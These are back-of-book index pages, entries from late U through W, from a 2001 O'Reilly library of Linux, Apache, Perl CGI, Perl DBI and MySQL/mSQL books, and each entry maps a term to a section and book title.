/usr/lib/autofs directory: 6.1.3. Automounting Devices (Running Linux)
/usr/local directory: 4.16. Important Directories (Running Linux)
/usr/man directories: 9.3.2.2. Formatting and installing the manual page (Running Linux)
/usr/sbin directory: 4.16. Important Directories (Running Linux)
/usr/src directory: 4.16. Important Directories (Running Linux)
7.2.3. Upgrading Other Software (Running Linux)
/usr/src/linux directory: 7.4. Building a New Kernel (Running Linux)
8.1.1. Simple Backups (Running Linux)
/usr/X11R6 directory: 10.3. Installing XFree86 (Running Linux)
/usr/X11R6/lib/X11 file: 4.16. Important Directories (Running Linux)
8.1.1. Simple Backups (Running Linux)
utility functions
numeric testing: 4.6.4. Numeric Testing (Programming the Perl DBI)
string formatting: 4.6.3. Neat and Tidy Formatting (Programming the Perl DBI)
utility methods: 4.6.1. Database-Specific Quote Handling (Programming the Perl DBI)
DBI execution tracing: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
fetching and printing data: 5.1.3.1. A quick way to fetch and print (Programming the Perl DBI)
quote handling: 4.6.1. Database-Specific Quote Handling (Programming the Perl DBI)
utmp file: 8.3. Managing System Logs (Running Linux)
UUCP (Unix to Unix Copy): 1.5.7. Networking (Running Linux)
uudecode( ): 14.6.11. String Functions (Apache: The Definitive Guide)
uudecode command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
uuencode command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: V

-v flag, getting perl version: 15.1.2. The Pound-Bang (CGI Programming with Perl)
v command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
-V flag (httpd/apache): 2.2. Apache's Flags (Apache: The Definitive Guide)
vacation command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
validating
email addresses: 9.2. Email Addresses (CGI Programming with Perl)
9.2.1. Validating Syntax (CGI Programming with Perl)
form input
CGI scripts, re-validating client data with: 7.2.1.4. Validating twice (CGI Programming with Perl)
elements: 7.2.1.1. Validating elements (CGI Programming with Perl)
example: 7.2.1.3. Validation example (CGI Programming with Perl)
formLib.js file: 7.2.1.3. Validation example (CGI Programming with Perl)
input_validation.html file: 7.2.1.3. Validation example (CGI Programming with Perl)
JavaScript, improving with: 7.2.1. Input Validation (CGI Programming with Perl)
submits: 7.2.1.2. Validating submits (CGI Programming with Perl)
7.2.1.3. Validation example (CGI Programming with Perl)
input data: 8.3. Encryption (CGI Programming with Perl)
XML data
DTDs, using: 14.2. An Introduction to XML (CGI Programming with Perl)
parsers, providing rules for: 14.3. Document Type Definition (CGI Programming with Perl)
separating rules from the parser: 14.3. Document Type Definition (CGI Programming with Perl)
VALUE attribute: 4.2.3. The <INPUT> Tag (CGI Programming with Perl)
checkboxes: 4.2.3.4. Checkboxes (CGI Programming with Perl)
hidden fields: 4.2.3.3. Hidden fields (CGI Programming with Perl)
image buttons: 4.2.3.8. Image buttons (CGI Programming with Perl)
plain buttons: 4.2.3.9. Plain buttons (CGI Programming with Perl)
radio buttons: 4.2.3.5. Radio buttons (CGI Programming with Perl)
reset buttons: 4.2.3.7. Reset buttons (CGI Programming with Perl)
submit buttons: 4.2.3.6. Submit buttons (CGI Programming with Perl)
tag: 4.2.4.1. The <OPTION> tag (CGI Programming with Perl)
text fields: 4.2.3.1. Text fields (CGI Programming with Perl)
valueOf( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
values, packing into strings: 2.7.3.2. Packing in Perl objects (Programming the Perl DBI)
var attribute (SSI): 6.2.3. Environment Variables (CGI Programming with Perl)
/var directory: 4.16. Important Directories (Running Linux)
/var/log/lastlog file: 8.3. Managing System Logs (Running Linux)
/var/log/messages: 15.1.3.8. Trying out your network (Running Linux)
/var/log/utmp file: 8.3. Managing System Logs (Running Linux)
/var/log/wtmp file: 8.3. Managing System Logs (Running Linux)
.var files (see type maps)
/var/spool directory: 4.16. Important Directories (Running Linux)
8.4.5.3. The rest of the printcap variables (Running Linux)
8.4.10.1. Setting up printer directories (Running Linux)
/var/spool/cron directory: 8.2. Scheduling Jobs Using cron (Running Linux)
/var/spool/lpd directory: 9.5. Printing (Running Linux)
/var/spool/news directory: 16.2.1.4. smail EDITME file (Running Linux)
/var/spool/smail directory: 16.2.1.4. smail EDITME file (Running Linux)
16.2.3.2. Mail system maintenance (Running Linux)
VARBINARY datatype: 15.1. MySQL SQL (MySQL & mSQL)
VARCHAR BINARY datatype: 6.3.3. Binary Datatypes (MySQL & mSQL)
VARCHAR character datatype: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
VARCHAR datatype: 6.3.2.1. Variable-length character fields in MySQL (MySQL & mSQL)
6.3.2.1. Variable-length character fields in MySQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
variable-length datatype: 6.3.2. Character Types (MySQL & mSQL)
variable storage address: 14.1.5. Getting Information (Running Linux)
variables: 1.2. Introduction to CGI (CGI Programming with Perl)
(see also environment variables)
bash shell and: 7.4. Variables (Linux in a Nutshell)
bracket pairs enclosing in Embperl: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
capitalization of, coding style guide: 16.2. Coding Guidelines (CGI Programming with Perl)
csh and tcsh: 8.4. Variables (Linux in a Nutshell)
declarations
strict mode, using: 15.2.1. Use strict (CGI Programming with Perl)
declaring and reducing number of global: 1.2.1. Sample CGI (CGI Programming with Perl)
dumping to browser for testing: 15.3.4. Dumping Variables (CGI Programming with Perl)
environment (see environment variables)
gawk scripting language: 13.4. gawk System Variables (Linux in a Nutshell)
13.6. Variable and Array Assignments (Linux in a Nutshell)
global, declaring with use vars statement: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
JavaScript, case sensitivity: 7.4.1. Bookmarklet Basics (CGI Programming with Perl)
local bracket pair, enclosing in Embperl: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
localizing with my function: 17.1.3. Localize Variables with my (CGI Programming with Perl)
mod-perl and: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
scope, code blocks enclosed in bracket pairs: 6.4.2.2. Variable scope (CGI Programming with Perl)
separation into packages: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
shell (see shell variables)
strict rules for, using: 1.2.1. Sample CGI (CGI Programming with Perl)
strict types, Perl lacking requirement for: 1.3.1. Why Perl? (CGI Programming with Perl)
variables command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
17.1. MySQL Utilities (MySQL & mSQL)
variables, environment: 4.6. Setting Environment Variables (Apache: The Definitive Guide)
access control: 5.6.2. Allow from env (Apache: The Definitive Guide)
browsers and: 4.6.4. Browsers (Apache: The Definitive Guide)
variables, printing: 4.4. Useful Scripts (Apache: The Definitive Guide)
10. Server-Side Includes (Apache: The Definitive Guide)
10.5. Echo (Apache: The Definitive Guide)
Vdb API: 5.6.2.4. Programming interfaces (MySQL & mSQL)
Vdb-dflts API: 4.5.2.4. Programming interfaces (MySQL & mSQL)
verbose= option (LILO): G.1. Global Options (Running Linux)
verbose variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
verifymsg file (CVS): 14.3.3.16. The verifymsg file (Linux in a Nutshell)
VERSION( ) function: 15.1. MySQL SQL (MySQL & mSQL)
version command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
17.1. MySQL Utilities (MySQL & mSQL)
17.2. mSQL Utilities (MySQL & mSQL)
version command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
version control
CVS utility: 14. CVS and RCS (Linux in a Nutshell)
RCS utility: 14.5. The RCS Utility (Linux in a Nutshell)
VERSION function: 21.3. Msql.pm API (MySQL & mSQL)
version numbers for Linux: 1.4.1. A Note on Linux Version Numbers (Running Linux)
7.4. Building a New Kernel (Running Linux)
version strings: 2.3.1. The Request Line (CGI Programming with Perl)
version variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
versions: 7.2. Upgrading Software (Running Linux)
(see also upgrading software)
Apache: 0. Preface (Apache: The Definitive Guide)
1.7. Which Apache? (Apache: The Definitive Guide)
CGI.pm module: 5.1. Overview (CGI Programming with Perl)
displaying information on: 7.4.2. Building the Kernel (Running Linux)
HTTP, forcing to 1.0: 4.6.5.2. force-response-1.0 (Apache: The Definitive Guide)
Per modules, storing in $VERSION: 5.5.4. Custom Module (CGI Programming with Perl)
Perl, checking with -v option: 5.1. Overview (CGI Programming with Perl)
protocols in HTTP response headers: 2.4.1. The Status Line (CGI Programming with Perl)
SOCKS: 1.8.4. Configuration Settings and Rules (Apache: The Definitive Guide)
Unix: 1.6. Which Unix? (Apache: The Definitive Guide)
version rollback attacks: D.1.2. Version Rollback Attacks (Apache: The Definitive Guide)
| (vertical bar): 4.9. Saving Your Output (Running Linux)
vertical bar (|): 4.9. Saving Your Output (Running Linux)
VESA monitor timings: 10.4. Configuring XFree86 (Running Linux)
VFAT filesystems/partitions: 12.1. Sharing Files (Running Linux)
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions (Running Linux)
VFS error: 3.3.1. Problems with Booting the Installation Media (Running Linux)
vga= boot-time option: 5.2.2.3. Specifying boot time options (Running Linux)
vga modes: 5.2.2.1. The /etc/lilo.conf file (Running Linux)
5.2.2.3. Specifying boot time options (Running Linux)
vga= option: G.3. Kernel Options (Running Linux)
VGA16 server: 10.2. Hardware Requirements (Running Linux)
vi command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
vi editor: 1.4. What This Book Offers (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
11. The vi Editor (Linux in a Nutshell)
1.5.1. Basic Commands and Utilities (Running Linux)
9.1. Editing Files Using vi (Running Linux)
clones of (easier to use): 9.1. Editing Files Using vi (Running Linux)
extending: 9.1.12. Extending vi (Running Linux)
metacharacters for: 9.2. Metacharacters, Listed by Linux Program (Linux in a Nutshell)
setting up: 11.14. vi Configuration (Linux in a Nutshell)
vi mode (csh/tcsh): 8.7.5.2. vi mode (Linux in a Nutshell)
vi-style commands: 7.3.3. Command-line Editing (Linux in a Nutshell)
video cards: 1.9.5. Monitor and Video Adapter Requirements (Running Linux)
10.2. Hardware Requirements (Running Linux)
10.5. Filling in Video Card Information (Running Linux)
video issues with LinuxPPC: D.6.3. LinuxPPC 4.0 and 4.1 Video Issues (Running Linux)
vidmode command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
View Source option: 11.2. Hidden Fields (CGI Programming with Perl)
viewer, Perl documentation: B.2. perldoc (CGI Programming with Perl)
ViewPort option (XF86Config): 10.4. Configuring XFree86 (Running Linux)
viewports, GNOME: 15.1. Desktop Overview (Linux in a Nutshell)
15.4.8.7. Workspaces (Linux in a Nutshell)
Sawfish workspaces and: 15.4.8.7. Workspaces (Linux in a Nutshell)
vim editor: 9.1. Editing Files Using vi (Running Linux)
virtual
consoles: 4.3. Virtual Consoles (Running Linux)
5.3.3. rc files (Running Linux)
8.5. Setting Terminal Attributes (Running Linux)
devices: 8.4.11. Exercising the Printer Daemon (Running Linux)
filesystem: 6.1.1. Filesystem Types (Running Linux)
RAM (see swap space)
services (Samba): 12.1.3.2. Configuring Samba (Running Linux)
virtual( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
virtual attribute (include command): 10.4. Execute CGI (Apache: The Definitive Guide)
virtual cash: 13.3. Binary Signatures, Virtual Cash (Apache: The Definitive Guide)
virtual desktops
fvwm: 11.2. The fvwm Window Manager (Running Linux)
15.4.9.6. Backgrounds (Linux in a Nutshell)
Enlightenment window manager: 15.4.9.2. Desktops (Linux in a Nutshell)
GNOME: 15.1. Desktop Overview (Linux in a Nutshell)
KDE: 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
16.3.1.4. Panel (Linux in a Nutshell)
virtual hosts: 1.2. What to Know About TCP/IP (Apache: The Definitive Guide)
3.1. More and Better Web Sites: site.simple (Apache: The Definitive Guide)
3.6. Controlling Virtual Hosts on Unix (Apache: The Definitive Guide)
3.8. Virtual Hosts (Apache: The Definitive Guide)
3.9. Two Copies of Apache (Apache: The Definitive Guide)
(see also multiple copies of Apache)
Unix: 3.6. Controlling Virtual Hosts on Unix (Apache: The Definitive Guide)
Win32: 3.7. Controlling Virtual Hosts on Win32 (Apache: The Definitive Guide)
Virtual option (XF86Config): 10.4. Configuring XFree86 (Running Linux)
virtual paths: 1.4.1.1. Configuring by directory (CGI Programming with Perl)
virtual screens, fvwm2: 17. An Alternative Window Manager: fvwm2 (Linux in a Nutshell)
17.5. A Quick Tour of the fvwm Environment (Linux in a Nutshell)
virtual text wrapping: 4.2.5. The <TEXTAREA> Tag (CGI Programming with Perl)
virtual_host method: 5.2.1.7. virtual_host (CGI Programming with Perl)
viruses: 7.2.3. Upgrading Other Software (Running Linux)
visible name: 16.2.1.2. Configuring a Linux-installed smail package (Running Linux)
16.2.1.5. The mkconfig file (Running Linux)
visiblebell variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
visual command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
VISUAL environment variable: 16.2.1. Environment Variables (MySQL & mSQL)
VisualBasic: 5.6.2.4. Programming interfaces (MySQL & mSQL)
viusage command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
/vmlinux, /vmlinuz files: D.3.3. Installing BootX (Running Linux)
5.2.1. Using a Boot Floppy (Running Linux)
volume manager (see fdisk utility)
Vulcan nerve pinch: 3.2.4. Shutting Down the System (Running Linux)
5.3.3. rc files (Running Linux)
5.5. Shutting Down the System (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: W

W3-Auth: 12.2.1. W3-Auth (MySQL & mSQL)
w command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
w command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
W3-mSQL: 12. PHP and Other Support for Database-driven HTML (MySQL & mSQL)
12.2. W3-mSQL (MySQL & mSQL)
12.2.3. W3-mSQL Example (MySQL & mSQL)
w3-msql system variable: 16.2.2.3. w3-msql (MySQL & mSQL)
WABI (Windows Application Binary Interface): 12.2. Sharing Programs (Running Linux)
12.2.4. Windows Emulation: Wine (Running Linux)
Wafe language: 14.2.6. Interface Building Tools (Running Linux)
wait command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
wait command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
waiting (see sleep command)
wall command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
WANTHSREGEX rule: 1.8.4. Configuration Settings and Rules (Apache: The Definitive Guide)
warn( ): 4.5.1. Automatic Versus Manual Error Checking (Programming the Perl DBI)
5.1.2. Executing Select Statements (Programming the Perl DBI)
automatic error checking: 4.5.1.2. Automatic error checking (Programming the Perl DBI)
used with PrintError: 6.1.4. Common Attributes (Programming the Perl DBI)
Warn attribute: A.5. Attributes Common to All Handles (Programming the Perl DBI)
warnings
Apache::Registry module, configuring to honor: 17.3.1. Installation and Configuration (CGI Programming with Perl)
checking with -w flag: 15.3.1. Check Syntax (CGI Programming with Perl)
mod_perl, use with: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
Perl syntax checker: 15.1.4. "Malformed" Header (CGI Programming with Perl)
turning on in perl: 1.2.1. Sample CGI (CGI Programming with Perl)
warranty: A.14. Support/ Warranty (Programming the Perl DBI)
wasNull( ) method: 14.4. A Guest Book Servlet (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
watch command (CVS): 14.4.7.23. watch (Linux in a Nutshell)
notify file and: 14.3.3.10. The notify file (Linux in a Nutshell)
watch command (gdb): 14.1.1. Tracing a Program (Running Linux)
14.1.6.1. Breakpoints and watchpoints (Running Linux)
watch variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
watchers command (CVS): 14.4.7.24. watchers (Linux in a Nutshell)
watchlog command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
watchpoints: 14.1.1. Tracing a Program (Running Linux)
14.1.6.1. Breakpoints and watchpoints (Running Linux)
wc command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
WDDX (Web Distributed Data Exchange): 7.3.1. WDDX (CGI Programming with Perl)
example: 7.3.2. Example (CGI Programming with Perl)
SDK, downloading: 7.3.1. WDDX (CGI Programming with Perl)
web agent, writing with LWP: 14.1.3. LWP (CGI Programming with Perl)
web applications, creating with JavaScript: 7. JavaScript (CGI Programming with Perl)
web browsers: 4.6.4. Browsers (Apache: The Definitive Guide)
caching: 2.5.2. Caching (CGI Programming with Perl)
CGI script output: 5.3.1.3. Caching (CGI Programming with Perl)
discouraging with Expires header: 13.2.1. An Example (CGI Programming with Perl)
certificates, information about: 3.2.1. CGI Environment Variables (CGI Programming with Perl)
checking for media formats supported (example script): 3.4.1. Check the Client Browser (CGI Programming with Perl)
clients, representing: 14.1. Communicating with Other Servers (CGI Programming with Perl)
compatibility with JavaScript bookmarklets: 7.4.1.1. Compatibility (CGI Programming with Perl)
cookies: 5.10.2. Cookies (Apache: The Definitive Guide)
handling standard for: 11.3. Client-Side Cookies (CGI Programming with Perl)
with same name but different domains or paths, distinguishing: 11.3.1. Setting Cookies (CGI Programming with Perl)
environment variables, providing: 3.2.2. Examining Environment Variables (CGI Programming with Perl)
errors, server status codes for: 2.4.1. The Status Line (CGI Programming with Perl)
fatal error messages, displaying: 5.5.2. CGI::Carp (CGI Programming with Perl)
6.4.5.1. Embperl handler (CGI Programming with Perl)
15.2.4. Trap die (CGI Programming with Perl)
HTML display specifying for (lacking JavaScript support): 5.3.2.1. start_html (CGI Programming with Perl)
HTTP and: 2. The Hypertext Transport Protocol (CGI Programming with Perl)
request/response cycle: 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
requests: 2.3. Browser Requests (CGI Programming with Perl)
4.1. Sending Data to the Server (CGI Programming with Perl)
icons and: 7.1.4. AddIcon (Apache: The Definitive Guide)
identification by servers, proxies and: 2.5. Proxies (CGI Programming with Perl)
image format sepcifications: 2.6.1. Media Type (CGI Programming with Perl)
imagemaps: 7.3. Imagemaps (Apache: The Definitive Guide)
invalid requests due to bad syntax: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
JavaScript 1.2, support for: 7.2.1.3. Validation example (CGI Programming with Perl)
PNG images, support for: 13.1.2. PNG (CGI Programming with Perl)
response from web server (example): 1.2. Introduction to CGI (CGI Programming with Perl)
trusting, security risks of: 8.2.5. Trusting the Browser (CGI Programming with Perl)
configurability of browsers: 8.2.5. Trusting the Browser (CGI Programming with Perl)
URLs, saving as bookmarks: 7.4.1. Bookmarklet Basics (CGI Programming with Perl)
User-Agent field, identifying with: 2.3.2.5. User-Agent (CGI Programming with Perl)
variable values, dumping to: 15.3.4. Dumping Variables (CGI Programming with Perl)
View Source option for HTML source code: 11.2. Hidden Fields (CGI Programming with Perl)
web browsing functionality, KDE: 16.3.1.3. Web browser (Linux in a Nutshell)
web document personalization with cookies: 11.3. Client-Side Cookies (CGI Programming with Perl)
web, history of: 1.1. History (CGI Programming with Perl)
web links
DBI: A.9.5. Assorted Related WWW Links (Programming the Perl DBI)
DBI drivers: B.1. Acquiring the DBI and Drivers (Programming the Perl DBI)
Perl: A.9.5. Assorted Related WWW Links (Programming the Perl DBI)
SQL: A.2.6. SQL--A Query Language (Programming the Perl DBI)
web pages, embedding Java in: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
web redirection: 8. Redirection (Apache: The Definitive Guide)
web security, importance of: 8.1. The Importance of Web Security (CGI Programming with Perl)
web servers: 1.5. What Happens at the Server End? (Apache: The Definitive Guide)
2.2.1. The Request and Response Cycle (CGI Programming with Perl)
(see also servers)
Apache web server, support for PHP language: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
cgi-bin diretory: 1.2. Introduction to CGI (CGI Programming with Perl)
CGI programs, configuring for: 1.4.1. Configuring CGI Scripts (CGI Programming with Perl)
CGI scripts, mapping virtual directory to: 1.2.2. Invoking CGI Scripts (CGI Programming with Perl)
child servers, limits on: 3.6.2. MaxRequestsPerChild (Apache: The Definitive Guide)
configuring for CGI: 1.4. Web Server Configuration (CGI Programming with Perl)
copy running on a separate port for developers: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
decoding form input: 4.3. Decoding Form Input (CGI Programming with Perl)
development, sharing by developers: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
hosts: 2.1.1. Elements of a URL (CGI Programming with Perl)
information on: 11.3. Server Status (Apache: The Definitive Guide)
controlling access to: 3.4.5. ServerTokens (Apache: The Definitive Guide)
functions for: 14.6.19. Server Information Functions (Apache: The Definitive Guide)
maximum wait for requests: 3.4.16. TimeOut (Apache: The Definitive Guide)
name and version (Server field): 2.4.2.8. Server (CGI Programming with Perl)
NCSA, Apache and: C. NCSA and Apache Compatibility (Apache: The Definitive Guide)
per-server configuration: 14.2. Per-Server Configuration (Apache: The Definitive Guide)
15.3.1. Create Per-Server Config Structure (Apache: The Definitive Guide)
15.3.3. Per-Server Merger (Apache: The Definitive Guide)
15.3.4. Per-Directory Merger (Apache: The Definitive Guide)
perl interpreter, embedding within: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
proxy servers: 1. Getting Started (Apache: The Definitive Guide)
9. Proxy Server (Apache: The Definitive Guide)
response to web browser (example): 1.2. Introduction to CGI (CGI Programming with Perl)
security (see security)
server-side includes: 10. Server-Side Includes (Apache: The Definitive Guide)
IncludesNoExec (Options directive): 3.11. Options (Apache: The Definitive Guide)
scripting modules: 12.7. Server-Side Scripting (Apache: The Definitive Guide)
status codes: 2.4.1. The Status Line (CGI Programming with Perl)
users, running as: 9.4.1. Command-Line Options (CGI Programming with Perl)
web site content, mapping to directories on: 16.1.2. Use Directories to Organize Your Projects (CGI Programming with Perl)
web sites: 1.1. How Does Apache Work? (Apache: The Definitive Guide)
defined: 2.1. What Is a Web Site? (Apache: The Definitive Guide)
demonstration: 0.3. Conventions Used in This Book (Apache: The Definitive Guide)
enabling SSI for all .shtml files: 6.2.1. Configuration (CGI Programming with Perl)
growth, CGI application development and: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
multiple (see virtual hosts)
searching: 12. Searching the Web Server (CGI Programming with Perl)
fgrep command: 12.1. Searching One by One (CGI Programming with Perl)
grep command: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
inverted index search: 12.3. Inverted Index Search (CGI Programming with Perl)
webgroup group (example): 2.4.1. Webuser and Webgroup (Apache: The Definitive Guide)
webuser user (example): 2.4.1. Webuser and Webgroup (Apache: The Definitive Guide)
WEEK( ) function: 15.1. MySQL SQL (MySQL & mSQL)
well-formed XML documents, parsers and: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
what command: 14.2.7. Revision Control Tools--RCS (Running Linux)
whatis command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
whats_related.cgi script (example): 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
WHERE clause: 6.6.3. The WHERE Clause (MySQL & mSQL)
13.1. The Two APIs (MySQL & mSQL)
where command (tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
WHERE SQL statement: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
WHERE statement: 15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
whereis command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
which command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
which command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
while command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
while command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
while command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
while loops
database records, returning with: 10.4.1.3. Database querying (CGI Programming with Perl)
processing code, one line at at time: 17.1.4. Avoid Slurping (CGI Programming with Perl)
Whiteline Linux/68k: E.3. Distributions (Running Linux)
whitespace: 14.2.10. Indenting Code (Running Linux)
colcrt command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Emacs indentation commands: 10.3.13. Indentation Commands (Linux in a Nutshell)
fmt command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
tabs to/from spaces: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
whitespace in code, guidelines for: 16.2. Coding Guidelines (CGI Programming with Perl)
who command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
whoami command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Widenius, Monty: 10.4. MysqlPerl (MySQL & mSQL)
Wiedmann, Jochen: 21.1. Installation (MySQL & mSQL)
wildcard characters
globbing: 12.1. Searching One by One (CGI Programming with Perl)
matches (*/*) in Accept header: 5.2.1.1. Accept (CGI Programming with Perl)
in select command: 10.3.3. Accessing Data (CGI Programming with Perl)
wildcards: 4.8. Filename Expansion (Running Linux)
*, in ACL file: 5.5.3. Security (MySQL & mSQL)
% in MySQL security tables: 4.4.3.1. The user table (MySQL & mSQL)
Win32: 1.9. Apache Under Windows (Apache: The Definitive Guide)
configuring server: 2.5. Setting Up a Win32 Server (Apache: The Definitive Guide)
DSO (Dynamic Shared Objects): 12.12. DSO (Apache: The Definitive Guide)
home directories: 8.5. UserDir (Apache: The Definitive Guide)
multiple IP addresses: 1.3.2. Multiple Sites: Win32 (Apache: The Definitive Guide)
passwords: 5.4. Passwords Under Win32 (Apache: The Definitive Guide)
restarting Apache: 3.12. Restarts (Apache: The Definitive Guide)
security: 1.3. How Does Apache Use TCP/IP? (Apache: The Definitive Guide)
2.5.1. Security Under Win32 (Apache: The Definitive Guide)
time display format: 10.2. File Modification Time (Apache: The Definitive Guide)
versions of Apache: 1.7. Which Apache? (Apache: The Definitive Guide)
virtual hosts: 3.7. Controlling Virtual Hosts on Win32 (Apache: The Definitive Guide)
Win32 file systems: 4.4.1.1. Database creation (MySQL & mSQL)
Win32 from ActiveState: B.1.1. Installing Modules (CGI Programming with Perl)
Perl debugger: 15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
using PPM: 10.4.1. Using DBI (CGI Programming with Perl)
Win32::DBIODBC module: 7.7. Moving Between Win32::ODBC and the DBI (Programming the Perl DBI)
window
history: 16.1.1. Using Netscape Navigator (Running Linux)
management: B.1.1. The Windowing System Foundation (Running Linux)
10.1. X Concepts (Running Linux)
11.1.1. xinit (Running Linux)
11.2. The fvwm Window Manager (Running Linux)
(see also fvwm window manager)
xterm (see xterm)
Window Behavior modules, KDE: 16.3.7. Window Behavior (Linux in a Nutshell)
window list, KDE: 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
window managers
Enlightenment: 15.4.9. Configuring the Enlightenment Window Manager (Linux in a Nutshell)
fvwm2: 17. An Alternative Window Manager: fvwm2 (Linux in a Nutshell)
kwm (KDE window manager): 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
Sawfish: 15.4.8. Sawfish Window Manager Configuration (Linux in a Nutshell)
selecting one for GNOME: 15.4.1.4. Window manager (Linux in a Nutshell)
used with GNOME: 15. GNOME (Linux in a Nutshell)
X Window System: 1.5.5. The X Window System (Running Linux)
windows
Emacs commands for: 10.3.11. Window Commands (Linux in a Nutshell)
Enlightenment window manager
focus and movement settings: 15.4.9.1. Basic options (Linux in a Nutshell)
focus behavior: 15.4.9.3. Behavior (Linux in a Nutshell)
tooltips, displaying: 15.4.9.3. Behavior (Linux in a Nutshell)
KDE
focus settings: 16.3.7.4. Properties (Linux in a Nutshell)
minimizing/maximizing: 16.3.7.4. Properties (Linux in a Nutshell)
placement of new: 16.3.7.4. Properties (Linux in a Nutshell)
resizing and moving: 16.3.7.4. Properties (Linux in a Nutshell)
tooltips, displaying: 16.3.1.4. Panel (Linux in a Nutshell)
Sawfish window manager
default appearance, setting: 15.4.8.1. Appearance (Linux in a Nutshell)
focus behavior: 15.4.8.2. Focus behavior (Linux in a Nutshell)
minimizing/maximizing: 15.4.8.3. Minimizing and maximizing (Linux in a Nutshell)
moving and resizing: 15.4.8.5. Moving and resizing (Linux in a Nutshell)
placement of new: 15.4.8.6. Placement (Linux in a Nutshell)
shaded: 15.4.8.2. Focus behavior (Linux in a Nutshell)
tooltips, displaying: 15.4.8.4. Miscellaneous (Linux in a Nutshell)
updating: 15.4.8.4. Miscellaneous (Linux in a Nutshell)
Windows 95/98, dual booting with Linux: 4.2. LILO: The Linux Loader (Linux in a Nutshell)
Windows 95, memory problems running MySQL: 4.3. Running MySQL (MySQL & mSQL)
Windows emulation: 12.2.4. Windows Emulation: Wine (Running Linux)
Windows, mSQL support for: 5.3. Installing mSQL (MySQL & mSQL)
5.6.2.4. Programming interfaces (MySQL & mSQL)
5.6.2.4. Programming interfaces (MySQL & mSQL)
Windows NT/2000, dual booting with Linux: 4.4. Dual Booting Linux and Windows NT/2000 (Linux in a Nutshell)
Windows operating systems
accessing Unix from (see Samba)
carriage return line feed, (CRLF), use of: 3.3.1.1. Outputting documents (CGI Programming with Perl)
ColdFusion language and: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
installing Linux with: 2.2.1. Installation Overview (Running Linux)
